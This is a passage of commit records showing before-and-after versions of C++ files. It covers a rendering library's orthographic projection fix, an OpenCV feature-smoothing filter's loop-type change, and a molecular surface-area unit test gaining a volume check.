(*mouse_dn)(float,float,int),\n\t\t\t\t\t\t\t\t              void (*mouse_up)(float,float,int),\n\t\t\t\t\t\t\t\t              void (*mouse_move)(float,float))\n\t{\n\t\t\tmMouseDownCallback=mouse_dn;\n\t\t\tmMouseUpCallback=mouse_up;\n\t\t\tmMouseMoveCallback=mouse_move;\n\t\t\t\n\t}\n\tvoid RenderSystem::registerKeyboardCallbacks(void (*key_dn)(unsigned int),\n\t\t\t\t\t\t\t\t                 void (*key_up)(unsigned int),\n\t\t\t\t\t\t\t\t\t\t\t\t void (*char_callback)(unsigned int))\n\t{\n\t\tmKeyDownCallback=key_dn;\n\t\tmKeyUpCallback=key_up;\n\t\tmCharCallback=char_callback;\n\t}\n\t\n\tTexture* RenderSystem::loadRAMTexture(chstr filename,bool dynamic)\n\t{\n\t\treturn new RAMTexture(filename,dynamic);\n\t}\n\t\n\tvoid RenderSystem::setIdentityTransform()\n\t{\n\t\tmModelviewMatrix.setIdentity();\n\t\t_setModelviewMatrix(mModelviewMatrix);\n\t}\n\t\n\tvoid RenderSystem::translate(float x,float y,float z)\n\t{\n\t\tmModelviewMatrix.translate(x,y,z);\n\t\t_setModelviewMatrix(mModelviewMatrix);\n\t}\n\t\n\tvoid RenderSystem::rotate(float angle,float ax,float ay,float az)\n\t{\n\t\tmModelviewMatrix.rotate(ax,ay,az,angle);\n\t\t_setModelviewMatrix(mModelviewMatrix);\n\t}\t\n\t\n\tvoid RenderSystem::scale(float s)\n\t{\n\t\tmModelviewMatrix.scale(s);\n\t\t_setModelviewMatrix(mModelviewMatrix);\n\t}\n\t\n\tvoid RenderSystem::scale(float sx,float sy,float sz)\n\t{\n\t\tmModelviewMatrix.scale(sx,sy,sz);\n\t\t_setModelviewMatrix(mModelviewMatrix);\n\t}\n\t\n\tvoid RenderSystem::lookAt(const gtypes::Vector3 &eye, const gtypes::Vector3 &direction, const gtypes::Vector3 &up)\n\t{\n\t\tmModelviewMatrix.lookAt(eye,direction,up);\n\t\t_setModelviewMatrix(mModelviewMatrix);\n\t}\n\t\t\n\tvoid RenderSystem::setOrthoProjection(float w,float h,float x_offset,float y_offset)\n\t{\n\t\tfloat t=getPixelOffset(),wnd_w=getWindowWidth(),wnd_h=getWindowHeight();\n\t\tmProjectionMatrix.ortho(w,h,x_offset+t*w\/wnd_w,y_offset+t*t\/wnd_h);\n\t\t_setProjectionMatrix(mProjectionMatrix);\n\t}\n\t\n    void RenderSystem::setPerspective(float fov, float aspect, float nearClip, float farClip)\n\t{\n\t\tmProjectionMatrix.perspective(fov,aspect,nearClip,farClip);\n\t\t_setProjectionMatrix(mProjectionMatrix);\n\t}\n\t\n\tvoid RenderSystem::setModelviewMatrix(const gtypes::Matrix4& matrix)\n\t{\n\t\tmModelviewMatrix=matrix;\n\t\t_setModelviewMatrix(matrix);\n\t}\n\tvoid RenderSystem::setProjectionMatrix(const gtypes::Matrix4& matrix)\n\t{\n\t\tmProjectionMatrix=matrix;\n\t\t_setProjectionMatrix(matrix);\n\t}\n\t\n\tconst gtypes::Matrix4& RenderSystem::getModelviewMatrix()\n\t{\n\t\treturn mModelviewMatrix;\n\t}\n\t\n\tconst gtypes::Matrix4& RenderSystem::getProjectionMatrix()\n\t{\n\t\treturn mProjectionMatrix;\n\t}\n\/*********************************************************************************\/\n\tvoid init(chstr rendersystem_name,int w,int h,bool fullscreen,chstr title)\n\t{\n\t\t#ifdef USE_IL\n\t\t\tilInit();\n\t\t#endif\n\t\t\n\t\t#ifdef _OPENGL\n\t\t\tcreateGLRenderSystem(w,h,fullscreen,title);\n\t\t#else\n\t\t\tcreateDX9RenderSystem(w,h,fullscreen,title);\n\t\t#endif\n\t}\n\t\n\tvoid setLogFunction(void (*fnptr)(chstr))\n\t{\n\t\tg_logFunction=fnptr;\n\t}\n\t\n\tvoid destroy()\n\t{\n\t\tdelete rendersys;\n\t}\n\n}\n<commit_msg>- fixed glitch with setOrthoProjection<commit_after>\/************************************************************************************\\\nThis source file is part of the Awesome Portable Rendering Interface Library         *\nFor latest info, see http:\/\/libapril.sourceforge.net\/                                *\n**************************************************************************************\nCopyright (c) 2010 Kresimir Spes (kreso@cateia.com),                                 *\n                     Ivan Vucica (ivan@vucica.net)                                   *\n*                                                                                    *\n* This program is free software; you can redistribute it and\/or modify it under      *\n* the terms of the BSD license: http:\/\/www.opensource.org\/licenses\/bsd-license.php   *\n\\************************************************************************************\/\n#include <stdio.h>\n#include <algorithm>\n\n#ifdef USE_IL\n#include <IL\/il.h>\n#endif\n\n#include \"RenderSystem.h\"\n#ifdef _OPENGL\n#include \"RenderSystem_GL.h\"\n#else\n#include \"RenderSystem_DirectX9.h\"\n#endif\n#include \"ImageSource.h\"\n\nApril::RenderSystem* rendersys;\n\nnamespace April\n{\t\n\tvoid april_writelog(chstr message)\n\t{\n\t\tprintf(\"%s\\n\",message.c_str());\t\t\n\t}\n\t\n\tvoid (*g_logFunction)(chstr)=april_writelog;\n\t\n\tint hexstr_to_int(chstr s)\n\t{\n\t\tint i;\n\t\tsscanf(s.c_str(),\"%x\",&i);\n\t\treturn i;\n\t}\n\t\n\tvoid hexstr_to_argb(chstr hex,unsigned char* a,unsigned char* r,unsigned char* g,unsigned char* b)\n\t{\n\t\thstr value = hex;\n\t\tif (value(0,2) != \"0x\") value=\"0x\"+value;\n\t\tif (value.size() == 8)\n\t\t{\n\t\t\t*r=hexstr_to_int(value(2,2));\n\t\t\t*g=hexstr_to_int(value(4,2));\n\t\t\t*b=hexstr_to_int(value(6,2));\n\t\t\t*a=255;\n\t\t}\n\t\telse if (value.size() == 10)\n\t\t{\n\t\t\t*a=hexstr_to_int(value(2,2));\n\t\t\t*r=hexstr_to_int(value(4,2));\n\t\t\t*g=hexstr_to_int(value(6,2));\n\t\t\t*b=hexstr_to_int(value(8,2));\n\t\t}\n\t\telse throw \"Color format must be either 0xAARRGGBB or 0xRRGGBB\";\n\t}\n\/*****************************************************************************************\/\t\n\tvoid PlainVertex::operator=(const gtypes::Vector3& v)\n\t{\n\t\tthis->x=v.x;\n\t\tthis->y=v.y;\n\t\tthis->z=v.z;\n\t}\n\/*****************************************************************************************\/\n\tColor::Color(float a,float r,float g,float b)\n\t{\n\t\tsetColor(a,r,g,b);\n\t}\n\n\tColor::Color(unsigned int color)\n\t{\n\t\tsetColor(color);\n\t}\n\n\tColor::Color(chstr hex)\n\t{\n\t\tsetColor(hex);\n\t}\n\n\tColor::Color()\n\t{\n\t\ta=r=g=b=255;\n\t}\n\n\tvoid Color::setColor(float a,float r,float g,float b)\n\t{\n\t\tthis->a=(unsigned char)(a*255); this->r=(unsigned char)(r*255);\n\t\tthis->g=(unsigned char)(g*255); this->b=(unsigned char)(b*255);\n\t}\n\n\tvoid Color::setColor(unsigned int color)\n\t{\n\t\tthis->a=color\/256\/256\/256; this->r=color\/256\/256%256; this->g=color\/256%256; this->b=color%256;\n\t}\n\n\tvoid Color::setColor(chstr hex)\n\t{\n\t\t\/\/ this is going to bite me in the arse on a little endian system...\n\t\thexstr_to_argb(hex,&a,&r,&g,&b);\n\t}\n\/*****************************************************************************************\/\n\tTexture::Texture()\n\t{\n\t\tmFilename=\"\";\n\t\tmUnusedTimer=0;\n\t}\n\n\tTexture::~Texture()\n\t{\n\t\tfor (Texture** it=mDynamicLinks.iter();it;it=mDynamicLinks.next())\n\t\t\t(*it)->removeDynamicLink(this);\n\t}\n\t\n\tColor Texture::getPixel(int x,int y)\n\t{\n\t\treturn Color(0,0,0,0);\n\t}\n\t\n\tColor Texture::getInterpolatedPixel(float x,float y)\n\t{\n\t\treturn Color(0,0,0,0);\n\t}\n\t\n\tvoid Texture::update(float time_increase)\n\t{\n\t\tif (mDynamic && isLoaded())\n\t\t{\n\t\t\tfloat max_time=rendersys->getIdleTextureUnloadTime();\n\t\t\tif (max_time > 0)\n\t\t\t{\n\t\t\t\tif (mUnusedTimer > max_time) unload();\n\t\t\t\tmUnusedTimer+=time_increase;\n\t\t\t}\n\t\t}\n\t}\n\t\n\tvoid Texture::addDynamicLink(Texture* lnk)\n\t{\n\t\tif (mDynamicLinks.contains(lnk)) return;\n\t\tmDynamicLinks+=lnk;\n\t\tlnk->addDynamicLink(this);\n\t}\n\t\n\tvoid Texture::removeDynamicLink(Texture* lnk)\n\t{\n\t\tif (mDynamicLinks.contains(lnk))\n\t\t\tmDynamicLinks-=lnk;\n\t}\n\t\n\tvoid  Texture::_resetUnusedTimer(bool recursive)\n\t{\n\t\tmUnusedTimer=0;\n\t\tif (recursive)\n\t\t{\n\t\t\tfor (Texture** it=mDynamicLinks.iter();it;it=mDynamicLinks.next())\n\t\t\t\t(*it)->_resetUnusedTimer(0);\n\t\t}\n\t}\n\/*****************************************************************************************\/\n\tRAMTexture::RAMTexture(chstr filename,bool dynamic)\n\t{\n\t\tmFilename=filename;\n\t\tmBuffer=0;\n\t\tif (!dynamic) load();\n\t}\n\n\n\tRAMTexture::~RAMTexture()\n\t{\n\t\tunload();\n\t}\n\t\n\tvoid RAMTexture::load()\n\t{\n\t\tif (!mBuffer)\n\t\t{\n\t\t\trendersys->logMessage(\"loading RAM texture '\"+mFilename+\"'\");\n\t\t\tmBuffer=loadImage(mFilename);\n\t\t\tmWidth=mBuffer->w;\n\t\t\tmHeight=mBuffer->h;\n\t\t}\n\t}\n\t\n\tvoid RAMTexture::unload()\n\t{\n\t\tif (mBuffer)\n\t\t{\n\t\t\trendersys->logMessage(\"unloading RAM texture '\"+mFilename+\"'\");\n\t\t\tdelete mBuffer;\n\t\t\tmBuffer=0;\n\t\t}\n\t}\n\t\n\tbool RAMTexture::isLoaded()\n\t{\n\t\treturn mBuffer != 0;\n\t}\n\t\n\tColor RAMTexture::getPixel(int x,int y)\n\t{\n\t\tif (!mBuffer) load();\n\t\tmUnusedTimer=0;\n\t\treturn mBuffer->getPixel(x,y);\n\t}\n\t\n\tColor RAMTexture::getInterpolatedPixel(float x,float y)\n\t{\n\t\tif (!mBuffer) load();\n\t\tmUnusedTimer=0;\n\t\treturn mBuffer->getInterpolatedPixel(x,y);\n\t}\n\t\n\tint RAMTexture::getSizeInBytes()\n\t{\n\t\treturn 0;\n\t}\n\/*****************************************************************************************\/\n\tRenderSystem::RenderSystem()\n\t{\n\t\tmAlphaMultiplier=1.0f;\n\t\tmUpdateCallback=0;\n\t\tmMouseDownCallback=0;\n\t\tmMouseUpCallback=0;\n\t\tmMouseMoveCallback=0;\n\t\tmKeyDownCallback=0;\n\t\tmKeyUpCallback=0;\n\t\tmCharCallback=0;\n\t\tmQuitCallback=0;\n\t\tmDynamicLoading=0;\n\t\tmIdleUnloadTime=0;\n\t}\n\t\n\tRenderSystem::~RenderSystem()\n\t{\n\t\t\n\t}\n\n\tvoid RenderSystem::drawColoredQuad(float x,float y,float w,float h,float r,float g,float b,float a)\n\t{\n\t\tPlainVertex v[4];\n\t\tv[0].x=x;   v[0].y=y;   v[0].z=0;\n\t\tv[1].x=x+w; v[1].y=y;   v[1].z=0;\n\t\tv[2].x=x;   v[2].y=y+h; v[2].z=0;\n\t\tv[3].x=x+w; v[3].y=y+h; v[3].z=0;\n\t\t\n\t\trender(TriangleStrip,v,4,r,g,b,a);\n\t}\n\t\n\tvoid RenderSystem::drawTexturedQuad(float x,float y,float w,float h,float sx,float sy,float sw,float sh)\n\t{\n\t\tTexturedVertex v[4];\n\t\tv[0].x=x;   v[0].y=y;   v[0].z=0; v[0].u=sx;    v[0].v=sy;\n\t\tv[1].x=x+w; v[1].y=y;   v[1].z=0; v[1].u=sx+sw; v[1].v=sy;\n\t\tv[2].x=x;   v[2].y=y+h; v[2].z=0; v[2].u=sx;    v[2].v=sy+sh;\n\t\tv[3].x=x+w; v[3].y=y+h; v[3].z=0; v[3].u=sx+sw; v[3].v=sy+sh;\n\n\t\trender(TriangleStrip,v,4);\t\t\n\t}\n\t\n\tvoid RenderSystem::drawTexturedQuad(float x,float y,float w,float h,float sx,float sy,float sw,float sh,float r,float g,float b,float a)\n\t{\n\t\tTexturedVertex v[4];\n\t\tv[0].x=x;   v[0].y=y;   v[0].z=0; v[0].u=sx;    v[0].v=sy;\n\t\tv[1].x=x+w; v[1].y=y;   v[1].z=0; v[1].u=sx+sw; v[1].v=sy;\n\t\tv[2].x=x;   v[2].y=y+h; v[2].z=0; v[2].u=sx;    v[2].v=sy+sh;\n\t\tv[3].x=x+w; v[3].y=y+h; v[3].z=0; v[3].u=sx+sw; v[3].v=sy+sh;\n\t\t\n\t\trender(TriangleStrip,v,4,r,g,b,a);\t\n\t}\n\t\n\tvoid RenderSystem::logMessage(chstr message,chstr prefix)\n\t{\n\t\tg_logFunction(prefix+message);\n\t}\n\t\n\tvoid RenderSystem::registerUpdateCallback(bool (*callback)(float))\n\t{\n\t\tmUpdateCallback=callback;\n\t}\n\n\tvoid RenderSystem::registerMouseCallbacks(void (*mouse_dn)(float,float,int),\n\t\t\t\t\t\t\t\t              void (*mouse_up)(float,float,int),\n\t\t\t\t\t\t\t\t              void (*mouse_move)(float,float))\n\t{\n\t\t\tmMouseDownCallback=mouse_dn;\n\t\t\tmMouseUpCallback=mouse_up;\n\t\t\tmMouseMoveCallback=mouse_move;\n\t\t\t\n\t}\n\tvoid RenderSystem::registerKeyboardCallbacks(void (*key_dn)(unsigned int),\n\t\t\t\t\t\t\t\t                 void (*key_up)(unsigned int),\n\t\t\t\t\t\t\t\t\t\t\t\t void (*char_callback)(unsigned int))\n\t{\n\t\tmKeyDownCallback=key_dn;\n\t\tmKeyUpCallback=key_up;\n\t\tmCharCallback=char_callback;\n\t}\n\t\n\tTexture* RenderSystem::loadRAMTexture(chstr filename,bool dynamic)\n\t{\n\t\treturn new RAMTexture(filename,dynamic);\n\t}\n\t\n\tvoid RenderSystem::setIdentityTransform()\n\t{\n\t\tmModelviewMatrix.setIdentity();\n\t\t_setModelviewMatrix(mModelviewMatrix);\n\t}\n\t\n\tvoid RenderSystem::translate(float x,float y,float z)\n\t{\n\t\tmModelviewMatrix.translate(x,y,z);\n\t\t_setModelviewMatrix(mModelviewMatrix);\n\t}\n\t\n\tvoid RenderSystem::rotate(float angle,float ax,float ay,float az)\n\t{\n\t\tmModelviewMatrix.rotate(ax,ay,az,angle);\n\t\t_setModelviewMatrix(mModelviewMatrix);\n\t}\t\n\t\n\tvoid RenderSystem::scale(float s)\n\t{\n\t\tmModelviewMatrix.scale(s);\n\t\t_setModelviewMatrix(mModelviewMatrix);\n\t}\n\t\n\tvoid RenderSystem::scale(float sx,float sy,float sz)\n\t{\n\t\tmModelviewMatrix.scale(sx,sy,sz);\n\t\t_setModelviewMatrix(mModelviewMatrix);\n\t}\n\t\n\tvoid RenderSystem::lookAt(const gtypes::Vector3 &eye, const gtypes::Vector3 &direction, const gtypes::Vector3 &up)\n\t{\n\t\tmModelviewMatrix.lookAt(eye,direction,up);\n\t\t_setModelviewMatrix(mModelviewMatrix);\n\t}\n\t\t\n\tvoid RenderSystem::setOrthoProjection(float w,float h,float x_offset,float y_offset)\n\t{\n\t\tfloat t=getPixelOffset(),wnd_w=getWindowWidth(),wnd_h=getWindowHeight();\n\t\tmProjectionMatrix.ortho(w,h,x_offset+t*w\/wnd_w,y_offset+t*h\/wnd_h);\n\t\t_setProjectionMatrix(mProjectionMatrix);\n\t}\n\t\n    void RenderSystem::setPerspective(float fov, float aspect, float nearClip, float farClip)\n\t{\n\t\tmProjectionMatrix.perspective(fov,aspect,nearClip,farClip);\n\t\t_setProjectionMatrix(mProjectionMatrix);\n\t}\n\t\n\tvoid RenderSystem::setModelviewMatrix(const gtypes::Matrix4& matrix)\n\t{\n\t\tmModelviewMatrix=matrix;\n\t\t_setModelviewMatrix(matrix);\n\t}\n\tvoid RenderSystem::setProjectionMatrix(const gtypes::Matrix4& matrix)\n\t{\n\t\tmProjectionMatrix=matrix;\n\t\t_setProjectionMatrix(matrix);\n\t}\n\t\n\tconst gtypes::Matrix4& RenderSystem::getModelviewMatrix()\n\t{\n\t\treturn mModelviewMatrix;\n\t}\n\t\n\tconst gtypes::Matrix4& RenderSystem::getProjectionMatrix()\n\t{\n\t\treturn mProjectionMatrix;\n\t}\n\/*********************************************************************************\/\n\tvoid init(chstr rendersystem_name,int w,int h,bool fullscreen,chstr title)\n\t{\n\t\t#ifdef USE_IL\n\t\t\tilInit();\n\t\t#endif\n\t\t\n\t\t#ifdef _OPENGL\n\t\t\tcreateGLRenderSystem(w,h,fullscreen,title);\n\t\t#else\n\t\t\tcreateDX9RenderSystem(w,h,fullscreen,title);\n\t\t#endif\n\t}\n\t\n\tvoid setLogFunction(void (*fnptr)(chstr))\n\t{\n\t\tg_logFunction=fnptr;\n\t}\n\t\n\tvoid destroy()\n\t{\n\t\tdelete rendersys;\n\t}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * SmoothFilter.cpp\n *\n *  Created on: Feb 21, 2013\n *      Author: link\n *\/\n\n#include \"SmoothFilter.hpp\"\n#include <cmath>\n#include <algorithm>\n\n#include<iostream>\nusing namespace std;\n\nSmoothFilter::SmoothFilter(const double& maxDeviation,\n        const double& deviantThreshold, const double &minLength,\n        const double &maxLength) :\n        _maxDeviation(maxDeviation), _deviantThreshold(\n                deviantThreshold), _minLength(minLength), _maxLength(\n                maxLength) {\n\n}\n\nSmoothFilter::SmoothFilter(const SmoothFilter &toCopy) :\n        _maxDeviation(toCopy._maxDeviation), _deviantThreshold(\n                toCopy._deviantThreshold), _minLength(\n                toCopy._minLength), _maxLength(toCopy._maxLength) {\n\n}\n\nSmoothFilter::~SmoothFilter() {\n    \/\/ TODO Auto-generated destructor stub\n}\n\nstd::vector<std::list<cv::Point2f> > SmoothFilter::filterFeatures(\n        const std::vector<std::list<cv::Point2f> >& features) {\n\n    std::vector<bool> toKill(features.size());\n    std::vector<std::list<cv::Point2f> > result(features);\n    int counter = 0;\n    for (int i = 0; i < toKill.size(); ++i) {\n        if (3 > features[i].size()) {\n            toKill[i] = false;\n        } else {\n            std::list<cv::Point2f>::const_iterator it = features[i].begin();\n\/\/\t\t\tcerr<<\"pre\"<<endl;\n            cv::Point2f first = *it;\n            cv::Point2f second = *(++it);\n            cv::Point2f third = *(++it);\n\/\/\t\t\tcv::Vec2f v1 = third - second;\n\/\/\t\t\tcv::Vec2f v2 = second - first;\n\/\/\t\t\tcerr<<\"in \"<<acos(\n\/\/                    (v1[0] * v2[0] + v1[1] * v2[1])\n\/\/                            \/ (cv::norm(v1) + cv::norm(v2)))\/CV_PI<<endl;\n\n            double a = cv::norm(second - third);\n            double b = cv::norm(first - second);\n            double c = cv::norm(third - first);\n\n\/\/\t\t\tcerr<<\"in \"<<acos((b*b+c*c-a*a)\/(2*b*c))\/CV_PI;\n\n            if (a > _minLength && b > _minLength\n                    && (_maxDeviation\n                            < acos(\n                                    (b * b + c * c - a * a)\n                                            \/ (2 * b * c))\n                            || _maxLength < a + b)) {\n                toKill[i] = true;\n                ++counter;\n\/\/\t\t\t\tstd::cerr<<\"to kill \"<<counter<<\" \"<<i<<std::endl;\n            } else {\n                toKill[i] = false;\n            }\n\/\/\t\t\tcerr<<\"post\"<<endl;\n        }\n    }\n\n    if (_deviantThreshold >= counter\/(double)features.size()) {\n        for (unsigned int j = 0; j < toKill.size(); ++j) {\n            if (toKill[j]) {\n                \/\/ cerr << \"bug in \" << j << endl;\n                result.erase(result.begin() + j);\n                toKill.erase(toKill.begin() + j);\n                --j;\n                \/\/  cerr << \"bug out\" << endl;\n            }\n        }\n    }\n    return result;\n}\n\nFeatureFilter *SmoothFilter::constructCopy() const {\n    SmoothFilter *copy = new SmoothFilter(*this);\n    return copy;\n}\n\n<commit_msg>Fixed stop conditions in SmoothFilter<commit_after>\/*\n * SmoothFilter.cpp\n *\n *  Created on: Feb 21, 2013\n *      Author: link\n *\/\n\n#include \"SmoothFilter.hpp\"\n#include <cmath>\n#include <algorithm>\n\n#include<iostream>\nusing namespace std;\n\nSmoothFilter::SmoothFilter(const double& maxDeviation,\n        const double& deviantThreshold, const double &minLength,\n        const double &maxLength) :\n        _maxDeviation(maxDeviation), _deviantThreshold(\n                deviantThreshold), _minLength(minLength), _maxLength(\n                maxLength) {\n\n}\n\nSmoothFilter::SmoothFilter(const SmoothFilter &toCopy) :\n        _maxDeviation(toCopy._maxDeviation), _deviantThreshold(\n                toCopy._deviantThreshold), _minLength(\n                toCopy._minLength), _maxLength(toCopy._maxLength) {\n\n}\n\nSmoothFilter::~SmoothFilter() {\n    \/\/ TODO Auto-generated destructor stub\n}\n\nstd::vector<std::list<cv::Point2f> > SmoothFilter::filterFeatures(\n        const std::vector<std::list<cv::Point2f> >& features) {\n\n    std::vector<bool> toKill(features.size());\n    std::vector<std::list<cv::Point2f> > result(features);\n    int counter = 0;\n    for (unsigned int i = 0; i < toKill.size(); ++i) {\n        if (3 > features[i].size()) {\n            toKill[i] = false;\n        } else {\n            std::list<cv::Point2f>::const_iterator it =\n                    features[i].begin();\n\/\/\t\t\tcerr<<\"pre\"<<endl;\n            cv::Point2f first = *it;\n            cv::Point2f second = *(++it);\n            cv::Point2f third = *(++it);\n\/\/\t\t\tcv::Vec2f v1 = third - second;\n\/\/\t\t\tcv::Vec2f v2 = second - first;\n\/\/\t\t\tcerr<<\"in \"<<acos(\n\/\/                    (v1[0] * v2[0] + v1[1] * v2[1])\n\/\/                            \/ (cv::norm(v1) + cv::norm(v2)))\/CV_PI<<endl;\n\n            double a = cv::norm(second - third);\n            double b = cv::norm(first - second);\n            double c = cv::norm(third - first);\n\n\/\/\t\t\tcerr<<\"in \"<<acos((b*b+c*c-a*a)\/(2*b*c))\/CV_PI;\n\n            if (a > _minLength && b > _minLength\n                    && (_maxDeviation\n                            < acos(\n                                    (b * b + c * c - a * a)\n                                            \/ (2 * b * c))\n                            || _maxLength < a + b)) {\n                toKill[i] = true;\n                ++counter;\n\/\/\t\t\t\tstd::cerr<<\"to kill \"<<counter<<\" \"<<i<<std::endl;\n            } else {\n                toKill[i] = false;\n            }\n\/\/\t\t\tcerr<<\"post\"<<endl;\n        }\n    }\n\n    if (_deviantThreshold >= counter\/(double)features.size()) {\n        for (unsigned int j = 0; j < toKill.size(); ++j) {\n            if (toKill[j]) {\n                \/\/ cerr << \"bug in \" << j << endl;\n                result.erase(result.begin() + j);\n                toKill.erase(toKill.begin() + j);\n                --j;\n                \/\/  cerr << \"bug out\" << endl;\n            }\n        }\n    }\n    return result;\n}\n\nFeatureFilter *SmoothFilter::constructCopy() const {\n    SmoothFilter *copy = new SmoothFilter(*this);\n    return copy;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ $Id: NumericalSAS_test.C,v 1.4 2000\/06\/06 13:19:04 oliver Exp $\n#include <BALL\/CONCEPT\/classTest.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include <BALL\/STRUCTURE\/numericalSAS.h>\n#include <BALL\/KERNEL\/fragment.h>\n#include <BALL\/MATHS\/surface.h>\n#include <BALL\/DATATYPE\/hashMap.h>\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nSTART_TEST(NumericalSAS, \"$Id: NumericalSAS_test.C,v 1.4 2000\/06\/06 13:19:04 oliver Exp $\")\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nusing namespace BALL;\n\nCHECK(calculateSASArea(const\tComposite&, float, int))\n\tFragment\tf;\n\tAtom a1, a2;\n\ta1.setRadius(1.0);\n\ta2.setRadius(1.0);\n\ta2.setPosition(Vector3(10.0, 0.0, 0.0));\n\n\tf.insert(a1);\n\tf.insert(a2);\n\n\tfloat area = calculateSASArea(f, 1.5, 624);\n\n\tPRECISION(0.001)\n\tTEST_REAL_EQUAL(area, 157.07963)\nRESULT\n\nCHECK(calculateSASAtomAreas())\n\tFragment\tf;\n\tAtom a1, a2;\n\ta1.setRadius(1.0);\n\ta2.setRadius(1.0);\n\ta2.setPosition(Vector3(10.0, 0.0, 0.0));\n\n\tf.insert(a1);\n\tf.insert(a2);\n\n\tHashMap<Atom*, float>\tatom_map;\n\n\tfloat area = calculateSASAtomAreas(f, atom_map, 1.5, 624);\n\n\tPRECISION(0.001)\n\tTEST_REAL_EQUAL(area, 157.07963)\n\tTEST_REAL_EQUAL(atom_map[&a1], area \/ 2.0)\n\tTEST_REAL_EQUAL(atom_map[&a2], area \/ 2.0)\nRESULT\n\nCHECK(calculateSASPoints())\n\tFragment\tf;\n\tAtom a1, a2;\n\ta1.setRadius(1.0);\n\ta2.setRadius(1.0);\n\ta2.setPosition(Vector3(10.0, 0.0, 0.0));\n\n\tf.insert(a1);\n\tf.insert(a2);\n\n\tSurface surface;\n\tfloat area = calculateSASPoints(f, surface, 1.5, 624);\n\n\tPRECISION(0.001)\n\tTEST_REAL_EQUAL(area, 157.07963)\n\tTEST_EQUAL(surface.vertex.size(), 1284)\n\tTEST_EQUAL(surface.normal.size(), 1284)\n\n\t\/\/ sum up all normals to check for integrality of the \n\t\/\/ surface elements\n\tfloat surface_elements = 0;\n\tfor (Position i = 0; i < surface.normal.size(); i++)\n\t{\n\t\tsurface_elements += surface.normal[i].getLength();\n\t}\n\tTEST_REAL_EQUAL(surface_elements, area)\nRESULT\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nEND_TEST\n<commit_msg>added: test for calculateSASVolume<commit_after>\/\/ $Id: NumericalSAS_test.C,v 1.5 2000\/06\/15 17:24:22 oliver Exp $\n#include <BALL\/CONCEPT\/classTest.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include <BALL\/STRUCTURE\/numericalSAS.h>\n#include <BALL\/KERNEL\/fragment.h>\n#include <BALL\/MATHS\/surface.h>\n#include <BALL\/DATATYPE\/hashMap.h>\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nSTART_TEST(NumericalSAS, \"$Id: NumericalSAS_test.C,v 1.5 2000\/06\/15 17:24:22 oliver Exp $\")\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nusing namespace BALL;\n\nCHECK(calculateSASArea(const BaseFragment&, float probe_radius, Size number_of_points))\n\tFragment\tf;\n\tAtom a1, a2;\n\ta1.setRadius(1.0);\n\ta2.setRadius(1.0);\n\ta2.setPosition(Vector3(10.0, 0.0, 0.0));\n\n\tf.insert(a1);\n\tf.insert(a2);\n\n\tfloat area = calculateSASArea(f, 1.5, 624);\n\n\tPRECISION(0.001)\n\tTEST_REAL_EQUAL(area, 157.07963)\nRESULT\n\nCHECK(calculateSASVolume(const BaseFragment&, float probe_radius, Size number_of_points))\n\tFragment\tf;\n\tAtom a1, a2;\n\ta1.setRadius(1.0);\n\ta2.setRadius(1.0);\n\ta2.setPosition(Vector3(10.0, 0.0, 0.0));\n\n\tf.insert(a1);\n\tf.insert(a2);\n\n\tfloat volume = calculateSASVolume(f, 1.5, 624);\n\n\tPRECISION(0.001)\n\tTEST_REAL_EQUAL(volume, 130.899)\nRESULT\n\nCHECK(calculateSASAtomAreas())\n\tFragment\tf;\n\tAtom a1, a2;\n\ta1.setRadius(1.0);\n\ta2.setRadius(1.0);\n\ta2.setPosition(Vector3(10.0, 0.0, 0.0));\n\n\tf.insert(a1);\n\tf.insert(a2);\n\n\tHashMap<Atom*, float>\tatom_map;\n\n\tfloat area = calculateSASAtomAreas(f, atom_map, 1.5, 624);\n\n\tPRECISION(0.001)\n\tTEST_REAL_EQUAL(area, 157.07963)\n\tTEST_REAL_EQUAL(atom_map[&a1], area \/ 2.0)\n\tTEST_REAL_EQUAL(atom_map[&a2], area \/ 2.0)\nRESULT\n\nCHECK(calculateSASPoints())\n\tFragment\tf;\n\tAtom a1, a2;\n\ta1.setRadius(1.0);\n\ta2.setRadius(1.0);\n\ta2.setPosition(Vector3(10.0, 0.0, 0.0));\n\n\tf.insert(a1);\n\tf.insert(a2);\n\n\tSurface surface;\n\tfloat area = calculateSASPoints(f, surface, 1.5, 624);\n\n\tPRECISION(0.001)\n\tTEST_REAL_EQUAL(area, 157.07963)\n\tTEST_EQUAL(surface.vertex.size(), 1284)\n\tTEST_EQUAL(surface.normal.size(), 1284)\n\n\t\/\/ sum up all normals to check for integrality of the \n\t\/\/ surface elements\n\tfloat surface_elements = 0;\n\tfor (Position i = 0; i < surface.normal.size(); 